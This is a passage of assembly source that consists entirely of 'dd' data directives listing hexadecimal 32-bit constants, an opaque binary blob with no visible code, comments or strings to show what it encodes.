0BFCA4424h, 0F2F03007h, 32223BA0h, 0AD74249Dh, 5FC30024h dd 33FDB89Ah, 43309700h, 0F6D07081h, 1D367316h, 812498F5h dd 0C2C85A0Ch, 90AEF01Bh, 0FF396701h, 0CCA67401h, 0BE7E30h dd 0B6C06F72h, 0E7E91303h, 0C2ECB91Dh, 3F1FAF97h, 1DEF5C0h dd 95E2C8h, 6A825B3Ch, 0DC5059DDh, 30EA9ECh, 23FDEB49h dd 0C1440D9Ah, 3AC892C1h, 221D0EF8h, 0A020F663h, 36F0CBDCh dd 530112B0h, 7AE4A49Ch dd 4841209h, 80282C7Ch, 0C8641B14h, 5EF5D301h, 0DD4AA699h dd 0E552F60h, 0D791125Fh, 49D48FC0h, 720B064Bh, 0EE832CCh dd 0EA532046h, 428B97h, 0B6699F8Ch, 0DB56933Fh, 95CD8605h dd 0F00FFAB5h, 0C9E2000Dh, 4418189h, 8F57B447h, 5006C087h dd 4512222Ch, 24000C63h, 1C86FDACh, 41DB3985h, 29624900h dd 35464D37h, 0A157B300h, 0CF5C6A89h, 0AC8448DDh, 36DE9D00h dd 0D6B16FBBh, 0B666939h, 0F7CD3218h, 2ADC9280h, 380793FDh dd 0BCB39F42h, 60DBA6h, 468865B5h, 4F348540h, 80133209h dd 0A1F7831Eh, 29BE9Eh, 0B005F635h, 8D328A1Ch, 1D106700h dd 69572B9Ah, 5DA000B2h, 755E0CF6h, 7A601EDCh, 6723E98h dd 0F9DE28D8h, 536B0084h, 0B9CB4365h, 0E800B303h, 0D0C1ECD5h dd 0E4A5DC4Dh, 3376BBh, 0D6478B7Ah, 0DD4E356Fh, 0F1BFCF00h dd 6D765180h, 2C1F006Ch, 521546A4h, 3D0B5F0Ch, 6F80A98h dd 3C54329Bh, 39816AE7h, 72B1AD0Bh, 0A22DD8EDh, 91007090h dd 961B0406h, 0D14D3Ch, 0D9A978A5h, 716C23BFh, 1791CD1Eh dd 19CEB540h, 7ED036Dh, 5C9BB76Eh, 0E59AA0FEh, 1001D8D1h dd 0D4987011h, 8EC002A8h, 3A3E0044h, 68603F09h, 917330A1h dd 0CEF0BDh, 0C29256E3h, 31EEB0D5h, 0AB8D1300h, 0FFCC3DD2h dd 0FB5E28Ah, 0E2247F01h, 36190E5Dh, 0C134F4A0h, 4073B1F9h dd 0A87A7100h, 0BFA0A48Fh, 0C3E70FDCh, 0FFE13B18h, 40896E91h dd 6F0B63FCh, 0D940CA00h, 565A9070h, 70A073B7h, 4F6005F5h dd 27788B3h, 0CE3AD6DCh, 0F40D8C61h, 1300C639h, 15B0254Ah dd 71C89C6Dh, 4E571C21h, 6B2CC289h, 9C432936h, 0A17EF288h dd 5A75D01Ch, 0D1A34000h, 7FECF4h, 63724E0Ch, 163A4384h dd 9C0065E4h, 3646E0ABh, 1E756A19h, 0C07EFD6Ch, 0CF672813h dd 6E029943h, 476D799Dh, 94C300F9h, 5F2439FAh, 371D3FD5h dd 0E403221Dh, 0DB73379h, 0F50CA789h, 4274E030h, 721AD619h dd 77D01F08h, 0F63030A7h, 0B68F7821h, 5DDE6F00h, 5E066E8Eh dd 8D8500A4h, 34BF6066h, 0B1004479h, 0F5011510h, 1CC32861h dd 0A4591C65h, 69AC006Ch, 0AB50FA5Eh, 0BF3B7500h, 8C66C85Bh dd 0A76B00B2h, 3AD4AFE0h, 47003E73h, 0C5D65A72h, 0C1B65DF5h dd 610BA0B1h, 0F880075Eh, 26E1Ah, 7DA2B6EBh, 0E547B73Ah dd 0C4A05D02h, 8035FDB5h, 0FBB02980h, 3994F1F5h, 391428FCh dd 10009047h, 0B26112B4h, 0C43DC6D3h, 80CF3E82h, 0BCB557D8h dd 273EB6h, 0E7F0DD6Eh, 0C5FB423Ch, 647DF817h, 33347C00h dd 0F0745B32h, 0F808FC71h, 0BA6800AEh, 0F97256CDh, 0B776F0BFh dd 4138D03h, 981FF643h, 41CE68h, 0C21A15E0h, 6CBB6AC1h dd 3B0F083Eh, 4451802Ch, 0D07FC7D5h, 8F2107FAh, 60A0BECFh dd 10145742h, 32EE9600h, 6A2E06BFh, 5AE01ABh, 91CEC31Bh dd 47E86456h, 0FA48E100h, 502C5C51h, 0AC7F05D8h, 0C054D56Ch dd 961C788Eh, 9283DE01h, 6A746768h, 0C236F60h, 1AA630A8h dd 57316048h, 0DBF150E0h, 7679A050h, 0AD7F3Ah, 2EC28B08h dd 1604F80h, 0FA500D76h, 0A93C4CB8h, 0EB4A8082h, 0A5EF275Ch dd 53B7973h, 4FC0B220h, 0E72800FEh, 0C17E4ACh, 82198A38h dd 3323AABFh, 9E9C6067h, 42C00082h, 7CB20F79h, 90002848h dd 0C5FEFD62h, 0EC2C696h, 26EC1630h, 64BA00D7h, 6BA23E06h dd 1E98201Ch, 0F3AC3884h, 8A6E0490h, 57AB07D6h, 111395h dd 15751BA8h, 97057626h, 9A203107h, 5A27004Eh, 4468F7h dd 8D40ED53h, 0E06730Fh, 20EAC200h, 0A97CCC59h, 7D140011h dd 62B7D747h, 75008D2Ch, 0E58BC968h, 687B28E6h, 0F84042h dd 9955A29Bh, 8204022Dh, 0CDF719D2h, 63CAA681h, 9470AEFDh dd 1ACE630h, 898EA5D5h, 0F0AA8087h, 0F1FB2E26h, 0CAF2D47Eh dd 293E5C00h, 6C61BF52h, 72F4031Ch, 7ADC568Dh, 21630837h dd 2D6C68D0h, 0AA7D00F4h, 5C9D0D88h, 0EC06DEAFh, 80822870h dd 6DB03158h, 0C2269530h, 6C6B3090h, 82F41E11h, 46807688h dd 861B6C72h, 38C000B6h, 6FE1EE5Bh, 4A3EA5C6h, 28803052h dd 79D63E5Fh, 945800FEh, 54D38955h, 1930F2FDh, 299C1022h dd 27173007h, 91FE5E31h, 86B18A3Fh, 0EDB95CB6h, 2180EF08h dd 0F091F665h, 0AC31CADBh, 0D0D89160h, 3D566BC8h, 678F2BD5h dd 0F8CD8C33h, 39708860h, 69BF0093h, 0A2B819CAh, 0A800CAB8h dd 68F667DEh, 38EA73Fh, 0E57F335Dh, 0E1A02FE3h, 940A49BCh dd 87879ABAh, 4E7C6D00h, 0F27819E5h, 15920F8Eh, 9100300Dh dd 0EF8CF1DAh, 6D298200h, 0F39B6E5Ch, 32D72E13h, 0AA5200BAh dd 421FF88Bh, 77FD7A03h, 8013EC72h, 3CBF84h, 0D95767D7h dd 1E95F540h, 36859A03h, 0E0707FB6h, 5CDF18h, 99EBD0CBh dd 4A2D8FBCh, 38AA58h, 20FE6883h, 0E8653E88h, 245AFAEBh dd 3285EEh, 28EA5D84h, 54702BD6h, 21DCCF1Eh, 917F7140h dd 0DDECB19h, 652F198h, 0B80E3AAh, 8C0083ECh, 7DCD132Ah dd 0CF17A0Ah, 56FE9897h, 1448729h, 1E4744F4h, 0ABB91084h dd 8932107h, 0F290236Bh, 48AAE084h, 0C4528F0Fh, 0EF24A580h dd 4F00C6A0h, 768B3ABCh, 17B34D4Ah, 0EBBE8E5Eh, 0C03C5800h dd 3D08E374h, 0C6003286h, 92ECC9D5h, 0C700101Ch, 3377E7DAh dd 2CE0807h, 29444761h, 0DB8E5A9Ah, 7F1A0140h, 7700372Ah dd 0CEFD659Bh, 1CE4940Bh, 5F1CA427h, 70BA8C5Fh, 74EC02BAh dd 0ACC65214h, 278F008Dh, 0E7812094h, 0D0EC4CF2h, 9F3AE100h dd 0DB38A6B5h, 98D070Fh, 2FF4E046h, 263E95h, 0E655AAD3h dd 7314C727h, 3172DCFCh, 53721A7Fh, 4656801Ch, 3C07A1Dh dd 3F02EB01h, 95D300A3h, 0F5B25ACFh, 0CE5CA580h, 7B5801CEh dd 26C2E3A2h, 2AD70h, 0F38929FCh, 0A722164h, 35C18400h dd 4F371619h, 5B363F1Ch, 0AE546D80h, 0BEAA95A2h, 0CE174317h dd 51E27300h, 0C4FE8FABh, 80A5CD92h, 8EFA8010h, 60730500h dd 0BB2AE1FCh, 3F9FE6Dh, 6AD4ADA5h, 20EA5707h, 40AEFBC0h dd 541FCE0Eh, 0F4A6A04Dh, 7FEF95h, 0DFBA3035h, 0EC2BEAB8h dd 0CB25C700h, 0A40CF98Fh, 57B70093h, 5DFC8C1Ah, 3A00C94Ch dd 0AC45EDA5h, 0BD3EB9h, 0FAB18330h, 28F5E6E7h, 0AB029400h dd 8AEAE045h, 0D8123DCAh, 87DF549Ch, 306505C1h, 89AD06F2h dd 0F9734E00h, 2547BE7Bh, 289900BFh, 62162120h, 0DF303477h dd 4ACBE8E2h, 1942003Fh, 0E45E125Fh, 6D00D787h, 0AF16C27h dd 0B3F96Fh, 0B56B0779h, 0AAC1AF92h, 8099043Eh, 9E4D77Fh dd 37CD4h, 29E50D9Dh, 83123F1h, 73003CE4h, 0E84E803Fh dd 7FD95B0Bh, 0B4C800DCh, 182CEF15h, 740E8922h, 0C1795219h dd 276CFDAEh, 0F2ACEC40h, 78EC380Fh, 0D8002048h, 0B331248Fh dd 0AF007320h, 0B8C2504Eh, 0F3E15Eh, 15035940h, 31E96A56h dd 0E45B1A2Ah, 802A7C24h, 1338B240h, 0FCC60064h, 0CFCACC12h dd 0DB00E4D0h, 0EDDA099h, 0C3FF2Eh, 41391028h, 142092EAh dd 0CFD05B00h, 37C8DCE7h, 0CBA300F8h, 0A4F12F98h, 2137ADEh dd 0E7004E6Fh, 0D84F1C4Ch, 1393016Ch, 0A3EBC24Dh, 0E1C0FE3Bh dd 0B7073C39h, 0C167B920h, 80EFBAD7h, 8B45C45h, 0B2600CCh dd 0CE146335h, 3A0375D4h, 31E0F777h, 0F1203EB7h, 76049A80h dd 0F3CD645h, 0E0025272h, 101B9C39h, 4A9440DFh, 0BD501FFCh dd 7EBA005Ch, 23F2CE98h, 5AB42E00h, 895655EBh, 6F9E3C1Fh dd 0AC8CF881h, 0E02A5E20h, 11C2DDEh, 0A9809574h, 0B03F7A90h dd 28EE4C7Ch, 0DC5F6902h dd 3261DAEDh, 0CA98D3BCh, 0E0006B44h, 6C5D3024h, 283C463h dd 1B02CCE8h, 6EE01A56h, 5C242415h, 530314D2h, 897E6A2Fh dd 0C440E854h, 12BD70FEh, 42F5E30Bh, 0E93DAAB8h, 0DC582460h dd 594ABB07h, 0DBC0B64Dh, 50BD67h, 75F7A4Eh, 0F0B02E8Ah dd 0DD3D977Ch, 173A8A95h, 6100A963h, 83E440B8h, 65780041h dd 5B8716BCh, 471289A5h, 0F8208CDAh, 909A87Ah, 7C11EA78h dd 5A7F4823h, 1CC080DCh, 4F3A6939h, 11C4C59h, 0C320F76Fh dd 10923ECFh, 53C50090h, 1BDA03B7h, 876E8C00h, 2F37A578h dd 12409242h, 9F4007h, 2A16F456h, 277A9054h, 8A0ADD3Bh dd 0E0A708C3h, 0E4DFCB02h, 60706AECh, 0AE32CA5h, 0E99D85D3h dd 0C96B0098h, 0E8E605BFh, 4334AE00h, 860E4265h, 0AB64011Ah dd 49D7CFC2h, 684820C5h, 0F0F76000h, 0E6839F4Bh, 87DD006Eh dd 0C2820824h, 0DA003E1Eh, 7BFF666Bh, 0EE06A279h, 247F0048h dd 27D22185h, 7D01E9CBh, 16403163h, 0CE80F2C2h, 0C734FBB3h dd 10E40FE7h, 0A441CD00h, 5AF93BE6h, 0DC974896h, 750B601h dd 20CCB5E1h, 0B0A40DC8h, 0ACFA2200h, 669E74D5h, 8A100016h dd 950620Eh, 8709726Fh, 0FC8EE6Eh, 0AA9C20F0h, 0E7FABD2h dd 0B9AB199h, 786C48C0h, 0D50F82Bh, 6207B8C4h, 94C0C3B3h dd 56339D97h, 1C49803Ah, 0CDF000D5h, 0B5C9DAC1h, 2E5859A9h dd 770B0330h, 9EC7975h, 0D7E0B968h, 80219304h, 2A76C00Ch dd 68A1CD00h, 0E0F940E7h, 6518008Ch, 0A2EB11F4h, 84A0B510h dd 8A0C1B2Dh, 0F835096Ah, 450F39F9h, 853D6880h, 8CD656F7h dd 9FA7831Dh, 8BF5DB40h, 0E6B19Eh, 0EBE9D774h, 0B423E52Ah dd 4A6FD401h, 91C36771h, 66D52CF1h, 118C820h, 0F3AA2A27h dd 0F9FE635Ch, 8B17E0DEh, 0C1CEB928h, 0B45DDF09h, 8E2400DAh dd 5164A9h, 728F9688h, 27F6CA9Ch, 5EC6420Fh, 62F3E0EFh dd 1839A13h, 0B0881490h, 0E0D6525Ch, 3D7929DAh, 45D86104h dd 0F8816933h, 430F080h, 0C84B2EBDh, 288EA62Ch, 0F7DCA974h dd 2CD8D6E9h, 480F7D20h, 0BD003CC8h, 873CB2E7h, 0CC0010BBh dd 0F6DD4CBh, 149FC41Fh, 0C415EA29h, 4FB2017Ch, 0E2C2426Fh dd 228020C7h, 99B143Bh, 0F67AC83h, 0E5A30768h, 0EEE38BD1h dd 0FCB6FCh, 68267509h, 4E43082Eh, 0C55C9AB8h, 0E0067634h dd 0D66DF155h, 0FB030010h, 3DCF021Bh, 26019A37h, 0DEC6837Eh dd 409CC9F5h, 0D25240D6h, 0C392F3E2h, 0E5642916h, 7100BF1Eh dd 54EF8810h, 0DF5E1C15h, 283C0D9h, 196F476Bh, 0AF00E8B0h dd 2B9594F9h, 92B730h, 0AE8F93D0h, 6C586278h, 60E1E500h dd 0F6776479h, 67960B0Ch, 5825C57Bh, 188809Ch, 0CC3B098Bh dd 287A9840h, 4E3A9F8h, 98B43B88h, 0D57880EDh, 7113EEB3h dd 6440584Eh, 304A8AD6h, 2034F368h, 50DFE98h, 0AEF9FC03h dd 61C88196h, 6A6C3039h, 0C3579409h, 0E2CC80D3h, 6C5EA9Eh dd 843A92E0h, 0A5009059h, 0F528B442h, 4C73DAABh, 0D3264A16h dd 12BA00C4h, 46FF8E83h, 0C7E6B704h, 1880706Ch, 82B63Bh dd 0D905F6F2h, 0E0CCCDBCh, 97529502h, 40ED51D8h, 26171124h dd 42B87D74h, 1600FBF6h, 0C02AB2h, 8808291Dh, 3E1097C1h dd 8495C300h, 0C936FE99h, 0B076005Fh, 3118AE40h, 0BB0096C2h dd 0D95E91DFh, 15A1935h, 0B0BD0D5Fh, 0F468A83Dh, 0B5000E5Bh dd 0F62B79D5h, 6A4188h, 7B933176h, 1DA47EF5h, 0B500CC70h dd 29520C5Ch, 1C04A29Bh, 80467386h, 428EA3E6h, 0C2011AAAh dd 9CEDF28Ch, 89E8A964h, 0F910002Eh, 0E27FC46Ch, 0B0002CDh dd 4EA0DEECh, 1B92A64h, 38BBBC04h, 431E9ED2h, 2EA8A8D8h dd 0B730D4A7h, 12777897h, 85E8E2h, 6CAFAC2Ch, 3A1A9AEh dd 2C204Ch, 5973EF63h, 266FC0h, 0B4CB6E6h, 9FD80440h, 0BFE45503h dd 0A0291135h, 586A30h, 0DD152568h, 648B09BAh, 4AD76300h dd 59F16512h, 0E64D04A5h, 0C00DDB84h, 47F22CF5h, 0A737DC00h dd 7345108Eh, 0BC3839D2h, 0C1C32880h, 0A6652792h, 0CC848D00h dd 0A40AFA29h, 0BB4700B7h, 12FE1A61h, 58389392h, 97E62C21h dd 0D0189900h, 4EEDD5Eh, 499139E1h, 89C8803Fh, 1600A87Fh dd 8027AAB0h, 1E5E8E29h, 0C099CDFAh, 0B9DB0143h, 1B00157Ch dd 7B485EEh, 604E7E2Eh, 208E4099h, 0CA1DC10Dh, 83409CCBh dd 0C061F4AAh, 1C6F1C44h, 4E0C4097h, 20082C67h, 0A056FE09h dd 0ED1008Fh, 3573ABBh, 49DEDFE2h, 87FC2FD2h, 0D68280ECh dd 6F75EB58h, 9DAEA00h, 6A1CA4CFh, 0E99B0057h, 9246BE90h dd 7D020A8Dh, 2437AC4Bh, 0AED0C0FAh, 0C1610058h, 0F563BD49h dd 0E600C7FFh, 467C899Fh, 1FB20CFAh, 0C0BF675Bh, 0C8280F06h dd 40008C23h, 1AF64580h, 1FBF7F1h, 0A32BB4C4h, 0C09FAD86h dd 0E300F52Ch, 6106587Dh, 0FE0ABE7Bh, 0C61E07AEh, 1944890h dd 2CDAE543h, 80140010h, 5586D9CFh, 3F31003Bh, 8FB51B26h dd 0C8B2D2FDh, 889AC226h, 74B0A700h, 1E9806B4h, 0C0D82621h dd 2F170F2Ch, 0F5058BFBh, 0A6D1139Eh, 0E70BE085h, 0DEF0A19Fh dd 0DDFC9973h, 0E03448B9h, 0A7312907h, 0F82E4062h, 0BA00F0A8h dd 75F34DFFh, 2FCB66h, 74F184D4h, 76B3BC2Ch, 9326A37Bh dd 0CC80E0C3h, 9A2A6601h, 19F6C2E9h, 93825C2Fh, 1058D637h dd 9E0819A0h, 77C24D13h, 0E002900Fh, 7221C13Eh, 7D6D3EF2h dd 6BDD2800h, 0A9AC62F1h, 0EDA13500h, 39BFE068h, 421800F3h dd 60AEFE13h, 29008D45h, 0DC02221Ah, 0F66D4Ah, 9FD92D30h dd 0E01857C8h, 9F90867h, 98FB9C88h, 2C631124h, 0C49B9304h dd 4806631h, 29EB723h, 5D394A33h, 5440D0B8h, 0C913350Dh dd 7502E77Dh, 605570D7h, 1EB963A7h, 0CB97622Dh, 14008012h dd 0AA2583D2h, 5DA3E900h, 2D9355B0h, 8864002Eh, 6031DA68h dd 0B9173992h, 6807F402h, 83595401h, 98636BDCh, 2C1A07BBh dd 81084A9Ah, 5D99DC8Ah, 4029D551h, 0D3C17A9Ch, 39564930h dd 2C3C936Fh, 1BD371B9h, 62C839FCh, 0A4029621h, 67F96015h dd 974860F7h, 0FED20331h, 34268F3Fh, 0EAEF0A90h, 49F6CB00h dd 0B3301623h, 0A058B04Eh, 429338h, 18E1AB97h, 0A8ACE6AAh dd 6BB56A26h, 3C074913h, 0BF0056B8h, 8536C3h, 2CA7E917h dd 0FE5888E1h, 0CA728C00h, 0E7654BE4h, 59A1008Dh, 1908317Dh dd 88C53892h, 7C028F7h, 90DE0E05h, 3EC800DCh, 722BF284h dd 2C277F35h, 5E4C8344h, 0F4FBE076h, 0F8280075h, 1EB86F0Dh dd 0F548917Eh, 2B780748h, 0C7A0554Ch, 4AB12A16h, 0F8D4009Ch dd 0CA910E30h, 8FA62913h, 1C987F13h, 725C1258h, 0B294001Dh dd 4EC88102h, 7995F01h, 5E43EA8Bh, 99A09DCh, 0E1A7EBCBh dd 24D968C0h, 0B63A5C11h, 174C9200h, 0CE204E8Ah, 0F071D207h dd 30D0DD53h, 0CEAF166h, 81ECCB0Ch, 0D1261A98h, 1F0074E1h dd 74DC9193h, 9BB7A32h, 0EDDA2426h, 364FC801h, 207EDCCDh dd 3BE6A0C0h, 2E4B8D3h, 626A5421h, 644115B0h, 5C93ECE0h dd 51505D03h, 0E88B3C53h, 0A1E581F4h, 943D2378h, 0D9804638h dd 7AB60389h, 31097591h, 334EF7Fh, 0F1492F24h, 0DBE3FAC1h dd 0D7A6E197h, 104A020h, 794F7CE4h, 20ABED36h, 0C028C5Ch dd 32DED0A0h, 2D8802Ch, 6C49FCh, 0C330D6E7h, 0F7BB904Eh dd 0E5DFE601h, 2263B279h, 3D8EB5C8h, 9A023BC4h, 35F7FD0Ch dd 0E1C3D0C0h, 0F3C0E300h, 0D3FCDDF8h, 83D8285Bh, 0F96009Ch dd 0C6CFA678h, 6CB44FF9h, 6E5C5280h, 0ECDEF181h, 1ECA0024h dd 73368756h dd 4162D22h, 0C007437h, 5A21BD5Fh, 0C0281CA4h, 0CEF700B0h dd 91D540F3h, 0F8C3D401h, 0FF6CC170h, 0CBC4AC25h, 1824FFAFh dd 0A040015h, 0F8771D27h, 2E0C395Eh, 0EEB55029h, 33D81C98h dd 0E962C0EDh, 4685F354h, 3D5CE890h, 0B73E00FCh, 4F359178h dd 0DBB11E1Ch, 375A0B54h, 0FE82A480h, 71E09BBBh, 0A32AE309h dd 8A6429D0h, 4C071876h, 8E1C9CAh, 9C3D3D7h, 699E38A0h dd 0CFFEF868h, 13BF0A07h, 3A40C4A4h, 9A7C96C1h, 8E0C0FFCh dd 0FB0AF31Fh, 859674h, 2793FD4h, 8B50E490h, 8F00D8CCh dd 0C8D4D060h, 1F209DEDh, 1FBD63h, 0E026DD5Fh, 3B06E3B1h dd 9ABBE56h, 1BDE1DA8h, 0DC2C809Bh, 230557D2h, 0F583A300h dd 162AF117h, 0F73D0EBFh, 0D1C07FCAh, 0A588082Dh, 425F0600h dd 7D9340CBh, 0CD79019Dh, 90A9B3Ch, 31F3C0B8h, 3F4EF802h dd 400EDED1h, 0FC266Ch, 8945E621h, 0FF723720h, 4A47A105h dd 9800B17Ch, 0FB52827h, 38988Dh, 15D19979h, 2CA23C24h dd 0CE30DF00h, 5B876B10h, 2A1C71FFh, 0F44C5Ah, 6A28D98Ch dd 55F62DCAh, 99E3ED00h, 1ADF5457h, 0A22F0060h, 0F1E60912h dd 4D17C6C4h, 16004CC7h, 86B0A90h, 0F68716DBh, 0EFE8008Fh dd 7EDF8E81h, 0B00E8A00h, 16AC552Eh, 0C6CB0FA7h, 15837B9Eh dd 43C565A1h, 3F80ECF0h, 7F6F50E7h, 0FB02B9D5h, 0B6878D48h dd 1AE7C070h, 11730C6Ah, 8629C515h, 0F74EDE00h, 822EC0EAh dd 34475B4h, 628F1E4Ah, 9003D64Dh, 0C5EC438Dh, 7E15A80Dh dd 68610085h, 3CABBD08h, 78159CEEh, 2EE836F0h, 0D4000854h dd 0D6560269h, 0CEEF1F68h, 400B8D1h, 0B448AF28h, 22000821h dd 94263836h, 16E1AE20h, 40066692h, 0CC8313D4h, 701FC490h dd 3CD8EB96h, 3CFDB161h, 0C11D5FCFh, 6741D17h, 20947D83h dd 10545D31h, 2C1346E8h, 0CE2DBBC0h, 0E0E5141Dh, 80665E8Eh dd 0DA0F885Ch, 73F62C98h, 0AF960194h, 0D021B041h, 0B8009EE1h dd 0C7BA1D60h, 0C445BE3h, 3F2048C1h, 0B11C2589h, 61C60BAFh dd 0C7785BCFh, 99EE332h, 75CBD8C0h, 3C1E434Fh, 3AE72405h dd 0DDBF200h, 1F34EC0Bh, 4CA0DA23h, 2C2CA86Bh, 0A8C09875h dd 7ECA5A31h, 721000Ch, 0CC6F1D9Fh, 1E1CD44Fh, 0C9C00990h dd 0A13112CAh, 397FEC42h, 0D707BEC4h, 0F70F757Ah, 0CC3C4080h dd 0E4007BF2h, 13CE4C23h, 3BC024B9h, 0C813FCA9h, 4B950053h dd 98E50EDDh, 0BA23D0Fh, 0E3B6A02Fh, 7D9DEAh, 783B32ADh dd 0EA6018Ah, 0E4380500h, 56C56B43h, 60F7014Dh, 1DB47759h dd 65766085h, 4A3DF502h, 8009AAB7h, 76E2CC80h, 0A0F45401h dd 35E7Ah, 23157234h, 0CDEA7851h, 3A082600h, 0EEDD746Ch dd 2AA60087h, 0BC22338Ah, 3F0082D6h, 88C20805h, 1FD4F19Bh dd 8EFCA326h, 936C7Bh, 0FD992CCCh, 6A0319ABh, 0C81FE73Dh dd 0B4A0959Bh, 0DF2200A7h, 70F260C6h, 0F11FC357h, 0FDC01CCBh dd 0F4FE4717h, 140F0D2h, 0A3A6F41h, 0F442F2FFh, 0C500979Ch dd 0CA4A59F6h, 3F5BDh, 87153AB1h, 0D1528821h, 0D743B8A0h dd 5B13E003h, 0B878D957h, 0B6FF8B42h, 0A98F00E0h, 91B1E792h dd 59D1EA00h, 0C6F5E14h, 0D03403B6h, 1AEC0FE5h, 0ABA27FA0h dd 87C73301h, 0FE6FBE73h, 3FF570h, 4F95123Eh, 0AD82373Bh dd 0D20B7C04h, 44C08D25h, 0E4C9F738h, 91231F48h, 0C2741267h dd 1C541A0Ch, 0C413F589h, 0A57000B0h, 5EDE0BE3h, 0A82CAFCEh dd 550014E6h, 855C3A49h, 0F58D0C47h, 0A548C8C4h, 42934425h dd 987C6E5Ch, 0A8A0508h, 807C248Eh, 3DBB15DDh, 0A084EF04h dd 30B09AD4h, 0E05F5BDAh, 0E87B4666h, 20DE7E00h, 70DBDC29h dd 6CD53EF6h, 418D6180h, 0D9429630h, 4ACAF800h, 71DE743Fh dd 34F4F385h, 0A7C43F69h, 8B089680h, 0F2C1CEA5h, 1FE94C00h dd 0EEAFA214h, 58E507BEh, 80DD78B5h, 8A619904h, 5441A100h dd 0FF9CBA39h, 38920FC8h, 8F604C75h, 5540427Ah, 7E708D00h dd 0C7DF0D15h, 334400CAh, 26FB73Bh, 9B724721h, 8536DE3Ah dd 0A99475DCh, 9A54D000h, 71DBFh, 0F48630B1h, 4C4F5139h dd 0FD897800h, 7345A8A4h, 5DE30713h, 531EFAC9h, 0B74457h dd 24629796h, 0DA506E04h, 38D28D6Fh, 0BCF827h, 613315Eh dd 212A3A38h, 0C061B92Ah, 0DB18A100h, 0FB744E7Dh, 2917B10h dd 0F075300Ah, 6440EABEh, 0AA00547Bh, 2BC9D56Eh, 1C3B02B4h dd 5F81C69Dh, 890899Ch, 16888C10h, 7A955D00h, 479A31EAh dd 66F232DAh, 8A20E891h, 364B05h, 9B40BD55h, 0A6C7D23Dh dd 8C0259h, 169593C2h, 2E0CBC31h, 46EE8B1h, 0B070F052h dd 0E600B0FCh, 4B86410Bh, 4DCE13C1h, 711D0CC6h, 47164081h dd 652B3A6Ch, 19045C13h, 613BC50Ch, 0F0900125h, 92807B08h dd 0C478DA67h, 290311EEh, 71CDE6B4h, 2899803Bh, 9A0107D9h dd 308D6E7Dh, 3425C4E8h, 0F051C0Bh, 333B80E6h, 69AA3Eh dd 248804A6h, 106A4F83h, 0F82FB900h, 777259E0h, 0B1B00016h dd 0FD125FEAh, 0FC002A1Eh, 76C6DAF3h, 0F27DABh, 5C31754Bh dd 0E65BCD2Bh, 39F7EB00h, 1CF43895h, 537100ACh, 0FCBEEC87h dd 44745EE2h, 22686503h, 0D3591E05h, 0E915A0A5h, 8E9F0EF4h dd 8C204346h, 0A42198E4h, 0D4052D00h, 0FB4FA81Ah, 5D6B05A5h dd 0C0DD5423h, 598044DEh, 77C4F017h, 4E163E00h, 3F7F8357h dd 7DD7BEh, 12050FE3h, 3FCA33C2h, 78A1E730h, 1F17F427h dd 5F1A1Dh, 542E1576h, 0D4015E80h, 724B1E20h, 0A0506D8Dh dd 6466F0h, 88325381h, 83EF8523h, 0D0971F0Ch, 0F6C880Bh dd 0B17E8BB0h, 49EC03Fh, 0E3B83370h, 299F7D0Ch, 191005h dd 307E80A1h, 58F91A09h, 35790600h, 0E522DF73h, 0C7430F3Fh dd 0C09F3065h, 9295E9D8h, 0F5074703h, 43A8B15Eh, 6707Ch dd 5BA4B5E8h, 0A0354AD6h, 362A7A00h, 3E28C94Ch, 4BD700E2h dd 6D804363h, 83EAEBBFh, 1FF03A07h, 0FE322DB8h, 3CAA40CFh dd 0AB6B0070h, 0AE25852Ah, 423B0F82h, 0B48800DDh, 5B408CCFh dd 0E1B70ACEh, 0F8CD83h, 722715C1h, 1113970Dh, 3203C77Eh dd 909B1496h, 740B18Fh, 9E936642h, 0E9C30FEh, 0FF302C1Bh dd 2A70FA46h, 0B70A173Ch, 0D7A400C5h, 1BB87A03h, 1F0BA700h dd 0A4741A69h, 0FE3B3B8Bh, 979B4186h, 0CB008842h, 0FA13EE93h dd 35B8C2h, 55FF3982h, 0D93C283Eh, 6FA26003h, 3C053269h dd 0CB82CA34h, 373E68F9h, 0D8F0C4A0h, 44A07A9Fh, 7844BA81h dd 0E03F1F29h, 802FDE89h, 681E0D70h, 6538883Bh, 3A4B0717h dd 5060C82Ch, 1E616A6h, 0D7AB08Bh, 51E96BF9h, 0C8B2BFB4h dd 2900B837h, 33F475EAh, 7323310Fh, 0D1190026h, 9B302E90h dd 75001461h, 99EC7BAEh, 7D95A2DAh, 8C411CD8h, 0A5D9409Ch dd 7BE1EF86h, 1D8B9400h, 577F4BCAh, 809B1D2Dh, 0AC8C4304h dd 0B7D8EC96h, 0A00261Ah, 0A1466DD0h, 5DE5FDh, 6B85C908h dd 20A3397Dh, 0B642E809h, 35C0031h, 0C9D31Fh, 0B4B2599Dh dd 0D168EC81h, 0E1F7E816h, 9B83F000h, 79BF82h, 33A1153Fh dd 0C1134F35h, 7145EF00h, 0C6D6D2BAh, 3B07B036h, 0FA06460Dh dd 6040F6FCh, 16763409h, 1494207Fh, 1511E66h, 741F506Fh dd 0F05A9F90h, 0A606A0F4h, 5B7B8B77h, 9E4E110h, 0A33D0065h dd 9145399Fh, 5200666Ah, 0EEA9BF75h, 0FC7FD8DBh, 0E6B300A6h dd 25D3A030h, 0E13EC5EDh, 5455002Ch, 69731B35h, 9E50C0FEh dd 0AFDB1FF4h, 0FFFC48A0h, 0B8C554A0h, 0C33AE8FEh, 0C6470AA0h dd 1C48100Fh, 0A0188240h dd 4854076Bh, 0F04AE777h, 841164DEh, 0D4D88502h, 0E04C7DCCh dd 0B9AC8Bh, 0C8873179h, 5B061763h, 0A7A90400h, 0C650360Eh dd 796600F6h, 0FDB07340h, 0DF30F706h, 11B56832h, 836B0027h dd 0CE46FED4h, 0BD7B03AAh, 55D9DF01h, 209FB359h, 2BDC67D9h dd 21D200B1h, 5F646B94h, 1900166Fh, 7695FCF6h, 0BBA482h dd 66DDF8E2h, 2DE0CCA2h, 0FA1F171Eh, 515F3101h, 0DF368Fh dd 82E97620h, 0C1E714E5h, 10EA858h, 9481D6Eh, 7FED4225h dd 4A35F0h, 0B80C1EB6h, 79C783F4h, 2EC5074h, 4CA7471Fh dd 30D12D80h, 0AC3667h, 699C5203h, 0C10D1675h, 6F6C3C00h dd 9BB1A898h, 0D46B3F49h, 1AC2D902h, 0DC491947h, 880C91h dd 4178B650h, 0E1C184FAh, 686B3B00h, 0E2E5C35Eh, 27C7007Fh dd 359B5224h, 84ECFCE7h, 5100F87Ah, 1557C14Ah, 4969ACh dd 7BAB54F3h, 3A07920Dh, 0FB7A021Dh, 0C05D5C07h, 39A6BFA0h dd 0BB460062h, 0C9543678h, 1204BA68h, 736B9AF5h, 3AE90C90h dd 